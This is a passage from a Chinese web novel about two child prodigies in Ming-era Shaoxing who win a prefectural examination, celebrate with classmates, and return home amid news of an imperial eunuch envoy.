听到他开口,刘宗周只是略微瞥了一眼,声音依旧平静:“你口口声声言,心术正为重,可自己做的却是,举着圣人招牌,行党同伐异之事。” 这话说的实在太过重,赵琳一听,脸色都白了,他边上几个同窗,这会儿也都神情各异,但不敢在这个时候冒头说话,生怕夫子的注意力转到自己身上。 刘宗周看着他们,只是叹了一口气:“没有教会你们真正的诚意慎独,是我这个老师之过。” 赵琳闻言,身体一颤,脸上带着些许不可置信的目光看向他:“夫子!” “回去吧,好好反思今日之事,将来或有进取之可能。” 一句话,却叫在场众人不免心里一沉了。这样的话从老师的口中说出来,意味着他们今天所做的事情,老师是全然失望的,甚至觉得他们学的那些东西,全都学歪了。 但他们真的学歪了吗? 赵琳眼眶微红,心中一震,他不明白,老师教他们以理为先,理就是知识学问,若无理在先,则术成空亡! 他真的…错了吗? 那边,黄宗羲请教完后,似有所理解,抬起头,看着周盈,少有的莞尔一笑:“周师兄说的话,在下记住了。” 他行了一礼,看向众人之间,神情有些挣扎,末了还是开口道:“赵师兄他…太过自傲,于学问之上,多有执拗,今日之辩,还请师兄们勿要见怪。” 周盈闻言,倒也不意外,这个黄宗羲,尚且年幼,却已有将来大家气势,未来,或许二人还会再见的。 “无妨,辩场以文会友罢了。” 黄宗羲闻言颔首,也就不再多说什么,转身离开了。 张岱看了全程,他对周盈说的那个什么“义利合一,其理在法”的道理,其实不太关心,但他们赢了! 在绍兴府联考,在这么多强有力的老牌书院面前赢了! 这就足以让张岱兴奋了! “好了好了!多的也不用说了,宗吕已经定好了酒楼,诸位可要一道?” 他想起先前周盈与陈岳的约定,便朝着稽山书院一行人开口询问。 陈岳闻言莞尔:“那就却之不恭了。” “小事!也就多几双碗筷的事情,那就这样…”紧接着张岱把酒楼地址什么的说了一遍,毕竟人太多,总不可能一起过去。 周盈看着这帮人闹腾,这会儿心里不免感慨。 走出绍兴府儒学院,一行人说说笑笑。 “周师弟,你可没看到,刚刚胡云熙那脸色,白的跟什么似的!要我说,太解气!” “咱们私塾是赢了,怎么夫子却没多高兴?” 这句话一出来,几个人目光就都落到了陈夫子身上。 陈夫子闻言笑了笑,脚步停下,看着周盈等人:“我也是担忧,木秀于林风必摧之。” “汝瑛,如今你二人的风头是压不住了,可于学问之道上,这就意味着,将来必有无数人,会不满你之所言,进而阐以攻讦辩驳。” “这……也是咱们当今士林的风气。”说到这,陈夫子叹了口气。 84.第 84 章 周盈看了一眼身边几个人,郭嘉这会儿压根没听,沈越比起先前沉稳中带着些许轻松,杨业和张岱两个人说些什么,其余几个同窗,更是面色不改,全然不觉这有何难。 末了,他也跟着笑了起来:“这都是我们的事情。夫子,您这把年纪,也该享清福了。” “将来的事情,谁也不知道,走一步看一步。再说……我等敢在辩场公然宣扬事功派的学问,便也已经做好了准备的。” “是啊,夫子太杞人忧天。” “夫子,您啊,还是想想等会儿吃什么吧!” 陈夫子被几个人说的吹胡子瞪眼,但眼里头却早已是欣喜和欣慰交织。他有一群优秀的学生,也有两个天才般的学生,身为一个乡野私塾的夫子,还有什么比这更让他开心和骄傲的呢? 孝贞酒楼,门外,群贤毕至。 一群学生三三两两,结伴着走进了酒楼大门。只见雕花的房梁上,垂挂了好些虹彩绸缎,来往小厮端着餐盘酒水。那酒楼掌柜满面红光,笑呵呵的跟着一群人攀谈。 周盈倚靠在二楼的栏杆上,看着底下陈夫子等人,这会儿精神抖擞,好不快意,手拿着酒杯,跟几个书院的夫子们聊的热火朝天。 他对这些热闹的事情其实都挺随便的,本来想着也就是一群人吃个饭的事情。 结果来了一看,这排场可太壮观了。 “…张岱这是把整个绍兴府的学生都叫来了吗?” 走出门的郭嘉也是啧啧称奇,不免对张岱的人脉关系都有些佩服了。 见那道白衣身影靠在栏杆上,便也跟着走了过来:“怎么?躲在这儿清净?” 周盈闻言,转头看了他一眼,嘴角带着些笑:“只是有些不太习惯这么热闹的样子。” 听这话说的,郭嘉都乐呵了。 “你这个主角儿,说这话,太扫兴。” “我可跟你说,这里头不少人都是冲着你来的,待会儿找不着你,你看他们灌不灌你酒。” 周盈低头一笑,神情之间似若有所思:“我只是在想,这样平静的日子怕是不多了。而今皇帝年迈,再过些时日…” 万历四十年,是一个还算平静的年份,平静的让人都差点误以为,岁月静好。 周盈心里轻叹一声,没有被眼前的胜利迷了心神,说到这他顿了顿。 郭嘉听出来他语气中的担忧。 走到边上,手搭在雕花木栏杆上,看着底下人群闹哄哄,不知说了什么,陈夫子等人哈哈一笑。 “我知道你想说什么,这饭得一口一口吃,事情也得一件一件来。咱们这个年龄,真想做点什么,也得等长大些再说,将来的头顶上司,说不准早就换了个人。” 郭嘉是没他那么杞人忧天的,反倒是看得更开,毕竟死过一回的人,很多事情都看淡了。 周盈一笑:“倒是我想太多了,将来的事也说不好。” 小郭狐狸眼睛一亮:“是嘛,走吧走吧,张师兄找你好久了,没见着你人,几个人这会儿饭都吃不下,酒都喝不香了!” 听他这话,周盈心里知道,这家伙是张岱一伙,专程派来开导自己的,一时间也颇有暖意。 转头一看,这会儿包厢门口,几个脑袋顿时猛缩回去,周盈轻笑一声。 张岱等人见他回来,顿走上来,举起酒杯:“周师弟!今儿好多人都等着跟你说说话呢!咱们在这单独包厢喝酒吃饭,也不像个话。” “是极,咱们潘岳私塾,这回是真出名了!夫子这会儿怕是乐得嘴都合不上了。” 周盈闻言也是一笑,刚想走到位置上坐下,就直接被张岱一个提溜。 对方嘿嘿一笑,搂着他肩膀,往外直接走去:“走!咱们下楼去看看!” “哎、哎!张师兄!我还没吃饱呢!” 周盈这会儿心里也是冷汗直流,好不容易能躲个清静,下头人那么多,完全就是送羊入虎口。 手拽着一旁柱子,他朝着郭嘉使了个眼神,对方眨了眨,全然当作没看见。 再一转头看,杨业等人这会儿笑的开心,半点想搭把手的想法都没有。 “走吧!周师弟,别耍小性子。”那张岱坏笑一声,手拽了一下,却是彻底将周盈拽下了楼。 且看那抹白衣身影,一副生无可恋表情。 “哈哈哈哈……”大家伙也都乐呵了。 主要还是因为周盈平时太端着了,跟个小大人似的,比他们这些师兄看着都还累人,这才几岁呢! 小孩得有小孩的样子,这个年纪就该无忧无虑的闹腾。 “张师兄,你别拽了!我自己走就是。”周盈受不了,挣扎着从张岱手臂里头跳了出来。 伸手整理了一下衣服,白皙脸上这会儿有些泛红。 “嗯~这才像样。” “什么?” “我是说小师弟你,偶尔的时候,也该耍耍小性子!” 周盈无语。 陈岳等人跟一帮其他书院的学生攀谈着,见周盈下了楼,便直接走过来,拿起酒杯行礼道:“周师弟……这?” 大概是看到周盈那有点泛红的脸颊,大家伙也都是好奇的很。 周盈更尴尬了,他素来喜欢从容不迫示人,哪有这么失礼的时候。 张岱笑道:“周师弟真是年轻性子。” 陈岳闻言,倒也难得笑言:“倒也是,周师弟这般年轻,却有如此成就,还真令我这个做师兄的,都感惭愧了。” “是极。欸……若非此次绍兴联考,我等只怕,如井底之蛙,坐井观天。”有人开口感慨。 “周师弟的义利之辩,道在器中论,实令在下钦佩,读书光是读了不做,便是空谈了。” 周盈呵呵一笑,看着一群逐渐围过来的学生,心里不免也要嘀咕张岱几句了。 一楼的人见这边热闹,不免举着酒杯稀奇走过来。接过一看!嚯,那站在人群中,一身白衣的,不正是如今风头正盛的潘岳私塾,周盈吗? 只听闻一句嗓门极大的喊声响起:“周师弟在那儿,正跟稽山书院的人攀谈呢!” 不少人顿时:“哪儿?在哪?” “周师弟!” “周师弟在这!” “周师……” 一时间,人群躁动,天不聊了,饭不吃了,酒也不喝了。全都站起身,如见了什么稀世宝贝似 的。 周盈:…… 连张岱都开始瞪大眼睛:“也不至于……这么离谱吧?” 陈岳这话还没说完,就被人猛地挤出去,只听那人道:“周师弟!在下道南书院程远!想请教周师弟一件事情!” 随后又是几个猛挤上来。 “周师弟!周师弟,敢问……巴拉巴拉……” “周师弟真是年少有为!” 站在楼梯上,郭嘉啧啧两声,看着周盈被围的一副欲哭无泪的表情,颇有些死道友免死贫道般叹道:“好在咱们是没下去。” “那边!楼上是郭师弟!”不知是谁,眼睛那么尖,手一指。 小郭狐狸话还没说完,一听这话,顿时耳朵猛竖起来,随后酒杯朝着沈越手里一塞,朝上直接狂奔而去。 沈越:? 他没反应过来,一脸懵的看了眼自己手里的酒杯,抬头一看,瞳孔猛一缩。 只见五六七八……九十……总归是一个接一个,疯了似的往上挤! “郭师弟别跑!郭师弟敢问义利合一,其理在法何解?” “郭师弟!” “……” 那孝贞酒楼的掌柜见状,原先和人笑呵呵攀谈,这会儿直接一口酒水喷出来。 “别挤!别挤上了!那木梯子会断!” 当然,他这话还没说完,就听嘎吱一声…… “啊啊啊!!” 眼见着,混乱乍响,惊愕的、慌张的、懵逼的、瞪大眼睛的、张大嘴巴的。 总归是,热闹极了。 周盈看着一团乱的场景。 勉强,扯了扯嘴角。 呵呵。 吃完饭,几个人去逛了一圈,买了好些吃的玩的,周盈看着自己手里的小风车,皱紧了眉:“给我这个作甚?” 张岱叉着腰,叹了口气:“小师弟,你不觉得这个很好玩吗?” “……呃…好玩。” 一听这话,张岱泄了气,从手上拎着的大包小包掏了掏。 “那这个、这个、还有这个。”说着话,他把多余的东西朝杨业一塞,手里拿着糖葫芦、唐人、麦芽糖、小泥人、小扇子、面具、拨浪鼓…… “你看,都不喜欢吗?” “……” 郭嘉“噗嗤”一声,手上拿着把先前张岱买的小折扇,点了点周盈道:“张师兄这是给你买礼物呢,你倒好,怎都不给点反应?” “啊…好!我喜欢,很喜欢,嗯。”周盈闻言,立刻眨巴了一下眼睛,露出一副“哇哦好厉害”的表情。 大眼睛一闪一闪,颇有几分卖萌意味。 张岱见状,反倒是眉头皱得更深了:“周师弟,你倒是跟师兄说,喜欢什么?师兄这些天,看你除了蒙头走路,吃饭也想事情,坐车也想事情,怎的半点儿兴趣爱好都没有?” “不累吗?” 一听这话,走着的几个人也就都脚步微停。沈越闻言,想起先前周盈与他说的那番话,不免的,心里也颇有几分心疼这个小师弟。 这些年到底是过的什么日子? 把一个才七八岁的孩子,养成了这一副小大人的性格? 85.第 85 章 周盈一看这几个人脸上于心不忍的表情,就知道他们全是想歪了!娘和郭娘都对他可好了,没有谁在家里给他苦吃的。 都是护着他的。 但随即一想到这,周盈自个儿也笑出声了。 “嗯?周师弟怎还自己偷笑呢?” 周盈只是垂着长睫,看着手里一堆“小礼物”,想了想道:“我只是觉得,我很幸运,拥有的已经很多了。” “嗯?”几个人闻言都一阵好奇。 “不说别的了,师兄送的,我很喜欢。”周盈嘴角一翘,不知道是想到了些什么,语气也带着些轻快。 “走吧,再逛逛,就该到放榜的时间了。” 张岱等人摸不着头脑,但看周盈兴致盎然,几个人便也跟着一路闲逛。 唯有郭嘉,折扇半遮面,掩去几分笑意,眼里情绪复杂,却亦颇感欣慰。 酉时初。 绍兴府儒学院外,这会儿早就聚满了人。周盈一行人姗姗来迟,不少学生见状,顿时都迎了上去。 “周师弟,咱们这不打不相识,以文会友,今日方知潘岳私塾,名不虚传。” 有人惭愧道:“我等辩场偏见之言,周师弟请勿见怪。” 也有人冷哼不忿,嘀咕道:“不就是赢了个辩论吗,榜还没放,谁是魁首都说不定!” 还有人直接开口怼回去:“那你说,你觉得本次魁首是谁呢?” 那人支支吾吾,眼看着不少人都看过来,一时间竟说不出什么话。 周盈见这百态之象,也只是笑了笑,随意聊了几句。 “胡云熙呢?怎没见到他?” 张岱闻言,鼻子哼了一声:“他?听说是身体不舒服,来不了。我看是受不得打击,这会儿无颜面对人了。” 这话说的有点扎人心,他是故意说给旁边阳和书院的几个学生听的,先前这帮人狗眼看人低。 如今便是听了张岱这话,也就是皱眉,没敢开口直接接话。 周盈心里倒没什么感觉,只是想起胡云熙被带走的那副样子,看起来是心气散了。 浅叹一口气,少年意气啊。 有时候非得喜欢争个谁对谁错,可多数时候,哪有什么真对真错的。 无非是,你挡了我的路,所以你是错的。 “怎么还不贴?”有人等着急了,嘀咕了一句。 还有的三五成群,在小声议论到底谁才是魁首。 更有的脸色焦虑,走来走去。 张岱这会儿心态可稳了,反正这次回去,准不会挨骂!说不准还得被老头子夸! 赵琳等人赶到的时候,看到潘岳私塾的一群人,顿时脸色冷了下来。 “赵师兄,前边好像是周师弟他们。” “用得着你说?我眼瞎?”赵琳语气极差。 “哟~书玉兄,怎么站那边儿?等会儿放榜能见着吗?站过来点呗?”张岱眼尖。 他不但眼尖,嘴还欠。 这话一出口,有人窃窃私语,有人等着看好戏。 周盈也是无奈,没成想张岱这人怪记仇的。 树荫下,证人书院一群人顿时脸色一变,为首的赵琳冷哼:“小人得志。” “哦哟?我们是小人?那……”张岱眼睛一转,看向周盈。 周盈:? 随后他笑道:“连萧府尊都称赞有加的周神童,也是小人?” 噗…… 杨业听着一帮看热闹的人都笑了起来,也是嘴角一翘。你说你惹张岱干嘛呢,他那性格,找到一点儿机会,那是往死里嘲讽冷踩。 不把人气出个毛病,那都算仁慈。 果不其然的,赵琳胸膛剧烈起伏:“你!” “嗯?我怎么了?” 赵琳这回去就被夫子训了一顿,这会儿心情哪里能好,一听这话,心里那股子憋着的火是直接往上冒。 眼看着就要大步上前,这硝烟味一触即发间,边上几个同窗师兄弟猛地拽住他。 “算了算了!赵师兄,咱们忍着点。等会夫子知道,可又要训我们了。” “是呀,夫子说的话,师兄忘了吗?” 赵琳冷哼,一挥袖。 “不和你们一般见识!” 张岱挑眉,呵呵。 也就这会儿功夫,从门口走出来的吏员拿着榜纸。人群先是一静,紧接着轰一般直接涌了上去。 周盈没挤,看着一群人蜂拥而上的,不免皱了皱眉,反正他也不急。 但张岱很急! 伸手一抄起周盈胳膊,他都还没反应过来,“啊!”一声,就被拽飞了出去! “周师弟!快!等会儿挤不进去了!” 不多时,有人从前面挤出来,满脸喜色:“我上榜了!中了!” 但更多的人,是垂头丧气,毫无心气可言。郭嘉躲在一旁,实在不想跟着进去挤,也就这般等着。 周盈差点被挤死,干呕着:“张、张师兄…我们等等吧!” “那不行!这等大事怎么能等!”张岱使出吃奶的劲儿,把一旁挤着的赵琳等人都挤了出去。 眼看着张岱往前猛地一钻,竟是直接钻进了最前方,随后掸掸衣袖,抬头朝着榜单看去。 他先是从下往上,马上就看到了几个潘岳私塾学生的名字。 再看杨业,在中游水准。 他心想,差不多,是宗吕的水准。 但让他惊讶的是自己的排名,竟是比杨业要高十名!也就是中上游水准! 顿时,张岱大喜! “郭师弟这小灶开的!还真有用!” 旁的郭嘉,听他咋咋呼呼,哼笑一声,颇为傲娇的站在树荫下,小扇子一扇一扇的。 周盈被人挤得进都不进去!他这个身高水平,实在是太勉强了。 也就这会儿功夫,有人突然大喊一声:“魁首!魁首是周神童!果真如此!” 一时间,人群顿躁动起来。 赵琳虽心里已有准备,但听到这个消息的时候,他不免地,还是脸色一白。 手攥紧一些,朝着前方死命往前挤,不多时,赵琳就挤了进去,且看上方榜单,首位名字正是:周盈。 往下,第二位:陈岳。 第三位:郭嘉。 第四……第五…… 第十! 赵琳。 赵琳只觉一阵轰鸣响起。 随后什么都听不见了,也不知道了,他有些天旋地转。证人书院一帮人顿时一惊! “赵师兄!” 听着惊呼声,沈越皱眉,也 没有急着去看榜单,只是站在郭嘉身边:“郭师弟,我其实有点好奇。” “嗯?” 沈越转过头看向他:“当年,入学考。你才四岁,怎能将三国的那些典故,说的头头是道?” “竟还搬出荀子来,当真是惊心动魄,初生幼读不怕虎。” “……呃。” 似乎是察觉郭嘉有点尴尬。 毕竟那小扇子,都下意识扇快了点儿,沈越怎么可能看不出来呢? 郭嘉轻咳一声:“这叫…务实求真。哪个有用就用哪个呗。” “总归……我说的假不了。” 沈越闻言,轻笑出声,颔首道:“我竟还真以为,你真是那个鬼才,是我想太多了。” “啊哈哈哈…呃…哦对了!看榜!这会儿人少了!”郭嘉手里尴尬的扇子直扇,往前大步流星走去。 且看榜下,周盈被一群人围的欲哭无泪,这帮人真是太“热情”了。 好歹是勉强挤了出来,但是衣服乱了,头发也乱了,看起来颇有一种,被狠狠“蹂躏”后的“凄惨”。 沈越瞄了一眼,见自己名字正排十二,不免也而有些惊讶,他还以为,辩论场上的事情,会令他的名次往后靠一些的。 “不错啊青山,这考的比我好多了!”张岱啧啧称奇。 沈越听闻此言,颇有些傲娇的冷哼一声。 几个人心里都各有欣喜,一场绍兴府联考,总归是都有收获了。 周盈本是想着回快园休息的,结果一群人闹腾起来,非得继续去逛去玩,绍兴府夜市繁华。 一圈这么走下来,什么样的小吃、小玩意儿,都拎了一堆。 等回到快园,已是快近子时。 累了一天,洗漱完毕的周盈坐在床上,看着低下自觉打起地铺的郭嘉,他都不免惊讶了。 稀奇啊,小郭狐狸今天不耍赖了。 “看什么?我这是念着你今天太累,这才把床让给你的!”郭嘉说着,摊开了被子。 周盈抱着膝盖,见他那一副心软嘴硬的模样,闻言一笑道:“本以为今天就能走,没成想放榜在傍晚,也就只能将就一晚了。” “嗯?”郭嘉没反应过来他说什么。 只看周盈穿着一身白色单衣,头发散着下了床,走到他刚打好的地铺边上,弯腰抱起被褥。 “那是我刚铺好的!”小郭狐狸眼看着自己刚打好的“窝”被“拆”了个七零八落。 不免的撇嘴,眼珠子一转:“你嫌我睡相差,我把床让给你还不行吗?” 周盈把被子丢上床,转头看了他一眼,叉着腰:“别得了便宜还卖乖,不想睡就睡地上。” 闻此言,蹦起来的郭奉孝嘿嘿一笑。 “我就知道!汝瑛舍不得我吃苦~” 周盈听他这称呼,都快听免疫了,这会儿摸了摸有些起鸡皮疙瘩的手臂:“行了,别卖乖。你今天要是再踢被子,我就把你踢下床。” 说完这话,他翻开被子躺了进去。 郭嘉吹灭蜡烛,蛄蛹蛄蛹着把自己团好,闭上眼,安心入睡了。 当然……睡相差这个事儿吧,难改。 第二天一早,看着掉在地上的另一床被子,以及压在自己身上的胳膊和大腿。 周盈:…… 86.第 86 章 吃完饭,几个人便也不作久留。陈夫子已经在码头等候多时。周盈等人带着自己的行李,登上了船。 这也就几天的功夫,来回之间的心境,却已经是大不相同了。看着水面波澜之间,周盈不免想起,最初来到绍兴的时候,他还在娘亲怀中,是一个话都不能说的婴儿。 而今,他已名声鹊起,是山阴神童,是绍兴府赫赫有名的天才。 这一路走来,还真是颇让人感慨。 陈夫子看着外头船只来往,手捋着胡须,缓缓开口道:“汝瑛,尚有一事,我还未告知。” “嗯?夫子请讲。”回过神,周盈好奇抬头。 陈夫子的声音把船里的几个人注意力都吸引了过来,他脸上情绪有些复杂,缓缓开口道:“也就昨天,我这收到了消息。” “说是……关于国策的事情,朝廷那头,派了人。” 这话一出口,周盈和郭嘉对视了一眼,两人心思各异,心里不免也有些疑惑,这来的到底是谁? “可是什么钦差?” “非也。” 陈夫子手顿了顿,声音压低了几分:“是镇守太监。” “……” 周盈一时间没有立马开口,反而是皱起眉开始思考。太监属内廷,今之陛下,对内廷太监颇有器重。 可以说,朝野内外,除内阁,也就给皇帝办事的掌印太监,权力是最大的。 而皇帝为了控制地方,使消息不被外朝大臣蒙蔽,会转派信得过的太监去地方暂时留任。 这就称之为,镇守太监。 但这会儿,皇上派了个太监过来……事情便有些耐人寻味了。 周盈思考了一会儿道:“是何时到地方的?” “也就前天。” 算了算时间,应是张智林官文呈上地方布政司后的事情了。 “夫子,那镇守太监姓甚名谁?可有说什么?” 陈夫子闻言,则思忖道:“姓高,名烨。来是来了,倒也没说什么,先去了趟府衙,这会儿,张县令正招待着呢。” 太监在这会儿,是让人听之都闻风丧胆的人物。因皇帝器重,而权势滔天,扬武扬威,为虎作伥者数目众多。 所以陈夫子才这般担心。 郭嘉深思,开口提道:“这倒是稀奇。既是这个时间点来山阴县,便是奔着国策来的。” “朝中这些天风声如何?” 陈夫子第一时间竟没开口。 看着两人,目光有些复杂。 “你二人,如今在绍兴府出了名,这事情,萧府尊必然上报,到时候朝里那些人,对尔等便是上了心。” “如今,皇上派了心腹太监来,这其中,只怕多有蹊跷。” 郭嘉垂眸,也不顾几个人目光,倒是直接说:“那就是皇上,不希望我们掺和进那些党争里头。” 此一言,说的几个人都懵在了原地。 张岱心直口快:“郭师弟这是什么意思?那太监我听着都心慌,他一来,我们的国策,都不知道要怎么推!” “当然要推,而且推的会比之前更轻松,也更声势浩大。” 这句话是周盈说的。 众人看向他。 只见周盈莞尔:“我们的身份特殊,既是矿税旧案的幸存者,也是皇上器重的‘孝童’,更是在巡盐中,硬撕出一条路,献上‘嘉种’的神童。” “这些身份,让朝中的人,短时间不敢动我们,也不敢攻讦我们。” “毕竟……我们这一对孤儿寡母,儿子的年纪也就七八岁,有些事情放在我们身上,谁都不敢明着来。” 张岱听得有些晕头了:“什、什么意思?” “汝瑛是说,但凡朝里那帮人还要点脸,还称自己为‘君子’,这会儿都不敢直接对我们下手,毕竟我们年纪小,很多事情别人做不了,我们都可以做。” “至多不过一句,初生牛犊不怕虎。” 听了这话的陈夫子,反倒是深皱起眉,他到底是在官场混过的,颔首道:“皇上此番做派,应是起了衡量之心,如今朝局混乱,叶首辅独木难支。” “夫子,这绍兴联考,你也看见了。现在的那些文人,都是什么样的人?” 周盈叹了口气:“做事的,反只知党同伐异,想做事的,却被排挤打压。” “我想,皇上心里也难免有些失望。没了做事情的,这个国家要怎么治理呢?” 郭嘉心里倒是哼笑一声,失不失望倒是不知道,应是专为了制衡朝野。 船内几个人听闻,也都是有些恍然,张岱一拍手道:“小师弟意思是说,皇上也是希望番薯和玉米能尽快推行下去!这样一来,税民皆可得。” “皇上还是挂念着百姓的呀。”他叹息一声,似有动容。 周盈呵呵一笑,也没反驳什么。 理是这么个理,但是不是真心挂念百姓的,那犹未可知。 几个人在船上絮絮叨叨,时间也过的极快,眼看前方不远处,山阴县的码头逐渐浮现,陈夫子这会儿心情也松快了起来。 下了船,看着来往人流街道,周盈嘴角翘了起来。 孩儿笑酒坊外。 人来人往。 自打这招牌打出去,每日总有不少的外地客人,专程前来沽酒。屋里忙的连轴转的郭怡撸起袖子,弯腰搬起一坛玉米酒。 脚步稳健朝着门口走去,紧接着一咬牙,朝着桌上一放! 稳稳当当。 “郭掌柜!你这玉米酒,当真是用那玉米酿的?”有人看着酒坛上贴的字,不免也稀奇。 “哎!真是自然,咱们家这酒,卖的实在,要是觉得假的,你保管来找我!”郭怡闻言,也笑着回答,落落大方,好不自来熟。 几个外地来的客人闻言,好奇上前一步,看那撕开的封口里头,酒水橙黄,闻着还带着淡淡清香。 眼睛略睁:“闻着倒是好酒!” “来一壶!” “我也要!” 郭怡看着排队的客人,这会儿也是擦了擦额头的汗,心里踏实归踏实,但还是挂念起了自己两个儿子。 也就在酒坊门口忙着的功夫,见手脚麻利的马夫,小跑过来。郭怡倒也是迟疑:“怎么了?发生什么事情了?” 那马夫喘了口气,手指着周府方向开口道:“回、 回来了!小少爷们回来了!” 郭怡手里的动作一顿,随即脸上欣喜不言而喻,手擦了擦围巾,直接放下东西。 “掌柜你去吧!这儿俺们看着!” “行!那我先走了,晚上你们记得把东西收回去,把门关上。” “好,知道了。”几个妇人看着她着急忙慌的样子,也都笑呵呵的。 周府门外,马车已停在路旁。 大堂内。 “娘!我们真不饿,刚吃过饭呢!这会儿肚子饱着,再塞也塞不进去!”周盈声音嚷嚷,带着些平日里,外人都不曾听过的嘟囔。 伸手将摆在自己面前的莲藕桂花羹推了推,只见桌上,除此外,另摆着几碟蒸好的栗子糕、核桃酥等小零嘴. 周瑶手里头剥着橘子,眼看着橙红色果肉露了出来,这才抬头,眼带笑意:“娘这不是担心你们饿着吗?出去这些天吃好了没?睡得怎么样?” “我儿出门在外,娘也是挂念。” 听她絮絮叨叨,周盈无奈,接过橘子:“没事!我和嘉弟也就只去了几天而已。” “周娘,你可别看他说的这么随便,这次考试,汝瑛可出了大风头呢!”坐一旁的郭嘉手撑着脸颊,见他这小表情,不免也笑出了声来。 “哦?吾儿考了第几名?” 周盈闻言,朝嘴里塞了瓣橘子,爆浆的汁水浸润干涩的口腔:“也还好,就…” 他转了转眼珠,故作姿态。 周瑶看他这表情,还以为是考砸了,放下橘子,倒也不生气什么,总归是孩子平安回来,就足够了。 “没事,考砸了咱们再努力就是,吾儿聪明,第二次肯定能考好。” “……” “……” “怎么了?是都没考好?” 周盈莞尔一笑:“娘还不放心我们的本事?” “到底考了第几名?”周瑶被他这卖关子的动作,弄的有些摸不着头脑了。 “嘉儿,你说。我看这混小子,是长大了,连娘都敢瞒!” 这会儿正低头吃着水果,被叫到名字,郭嘉方抬起头,看着周瑶那着急的表情,便笑道:“周娘,我们出马,自然是把第一名都给摘回来了!” “且不但拿了第一名,连第三名也是我们的。”周盈慢悠悠补了一句,歪着头吃着橘子,撅嘴开口,好不神气! 果不其然,这话出口,周瑶顿时瞪大眼睛,张了张嘴,随后猛站起身:“是绍兴府联考吧?” “嗯!” “这、这……去了多少书院?” “十个。” 周瑶心里顿时如山呼海啸一般,眼前开了花,脑子里跟放烟花一般,biubiubiu的。 炸的她只顾着扬起嘴角,连眼尾褶皱都笑成了弯月。 手猛一拍,顿时放声哈哈大笑。 笑的刚从大门进来的郭怡,满脸都是疑惑,进屋见到周盈二人坐在椅子上,一副气定神闲的样子。 反倒是周瑶,一改往日的稳重,这会儿手舞足蹈的,跟个小孩儿似的,十足的不知所措,跟得到了什么宝贝一般。 “这是怎么了?” 87.第 87 章 “哎!二嫂,不得了了!不得了!咱们两个儿子,出去一趟,把绍兴府都闯出名堂了!”周瑶笑得眼尾都带了些泪花。 忙上前,搀着郭怡来到桌前坐下。 “你二人,跟娘说说,到底是怎么个情况?娘虽是个妇道人家,但经商几年,还是知道些的。绍兴府那么多书院学生,竟还真比不过我家两个二儿子?” “那第二名是谁?” 郭怡这会儿瞪大眼睛,听着觉得事情不一般,忙看向郭嘉。只见这混小子,这会儿低着头剥橘子,对周瑶的话,不知道是不是半点都没听! 郭怡有些急,伸手抄过来剥:“这会儿只顾着吃了!叫你说点正事儿,反倒是哑巴了?” 郭嘉:“……” “这不是口渴着吗!” “好了好了,娘!也就那么回事,考了三天,考好就回来了啊,咱们的本事还用怀疑吗?” 郭奉孝这话一出口,郭怡“嘿”了一声,真着急了!两个人想听的是这个吗! 是过程! 眼看着二人拌嘴,周盈笑道:“其实也不是什么惊心动魄的过程,娘亲和郭娘想知道,等晚上吃饭的时候慢慢聊。” “现在,我倒是有个事情要问,是不是朝廷来人了?” 一提起这事儿,郭怡剥橘子的手顿了顿。周瑶目光里的热切也淡了下来,她手攥着,抿唇间,点了点头。 “是,前天来的,是个太监。咱们妇道人家也不知道来路怎样,只知道是皇上的人。” “排场大着呢,一来,张县令就去码头接了,现今应在县衙里。” 郭嘉闻言,拿着橘子塞进嘴里的动作都迟缓了一些。只听周盈开口又问:“可来过咱们这儿?” “这还真没……许是还没来得及吧,怎么了?” 周盈摇头:“倒也没啥,我问问,事情关乎国策,我看再过些天,也该把那些乡绅、商贾叫过来,再好好商量一下,早些把这事情定下。” 郭怡闻言,倒是突然开口:“这事情郭氏那边都已经着手准备了,也就前天的功夫。” “帐也清完了,田都准备好了,就等着把种子种下去了。” 听到这话,周盈不免心中一暖,若无两位母亲在家里操持着,事情也不会办得那么快。只怕账目要他自己清,田也得他来办,至于生计上的事情,更是得时时自己操心了。 这可是家里的两位劳苦功高的大臣!再怎么嘴甜哄着,都不为过。 一家人晚上吃了顿丰盛的,周盈二人把绍兴府发生的事都说了一遍,期间郭奉孝夸大其词!将那胡云熙说的尤为可恶! 叫郭怡攥紧了拳头,“砰!”一声砸在桌上,脸上全是怒火,起身叉着腰就开始骂街:“那混账东西!算个人?胆敢在诗会上这般骂我儿子!也就是我不在场!否则非得给他点颜色!” “欺负孤儿寡母,欺负到我头上了!还给我儿子委屈受!这口气真咽不下去!” 周盈手拿着骨头咬着排骨,郭嘉嘴里叼了个鸡腿,两个人目光间,透露出几分心虚来。 周盈:你看你这添油加醋的,把郭娘都气着了! 郭嘉:……失误! 周瑶这会儿也憋着劲儿,冷哼一声,放下筷子:“好在我儿争气!拿了个第一、第三名!把他们气死!” 把骨头吐掉,周盈心里盘算着,等会儿自己的故事要怎么编,可不能像郭奉孝那样添油加醋。 这家伙,把诗会上写“狂诗”辱骂胡云熙的事情,都按到对方身上了。 郭怡一听,哪里受得了?! 郭奉孝骂人……脏是不脏,但太气人! 周盈擦了擦嘴角道:“都过去了!儿子赢了个第一名回来!可扬眉吐气了。” “而且辩论场上,儿子大杀四方,把那些人骂的无言以对,也是替嘉弟出气了!” “啊对对对!对!汝瑛哥哥可厉害了!当时骂的都能写一篇策论了!上头萧府尊听了,都直呼:此子非常人!将来是宰相之才!” 周盈一听他掰扯,不免都惊了,还能这样睁眼说瞎话的? 且看小郭狐狸,说起假话,那可谓是咋咋呼呼,手拿着鸡腿骨头,忽悠的两位母亲一愣一愣。 郭怡顿觉解气! 周瑶拿起孩儿笑就给自己倒了一杯! 满上! 风卷残云过,吃饱喝足,洗洗睡觉。周盈这些天实在是没睡好过,躺下没一会儿,便酣然入睡,一夜好眠。 第二天一大早,倒是不用上学。 陈夫子特准许几个人在家休息三日。 屋里睡的迷迷糊糊,翻来覆去的人,在被窝里蛄蛹蛄蛹,不过一会儿,露出半张脸的脑袋蹭了蹭被子。 睫毛一颤间,睁开了点眼睛。 不要误会,这个不是卷王周盈。很显然……是在睡懒觉的郭奉孝。 他这会儿没清醒,只听到院子传来的细小动静…… “吼欸!” “喝呀!” “嗨——唷!” 郭嘉用被子蒙住头,捂住耳朵,试图继续两耳不闻窗外事,闭上眼睛睡大觉! 但奈何醒了就是醒了,怎么换姿势,都睡不着了! 一个鲤鱼打挺起身,这一会儿入了冬的天,还真有些冷。被冻清醒的郭嘉抄起衣服披上,踩着鞋走到门口。 “周盈你干嘛!大早上让不让人睡觉!” 一嗓子声音响起,显然……小郭狐狸很双标,自己踢被子抢人家被子,睡相差,那就耍赖! 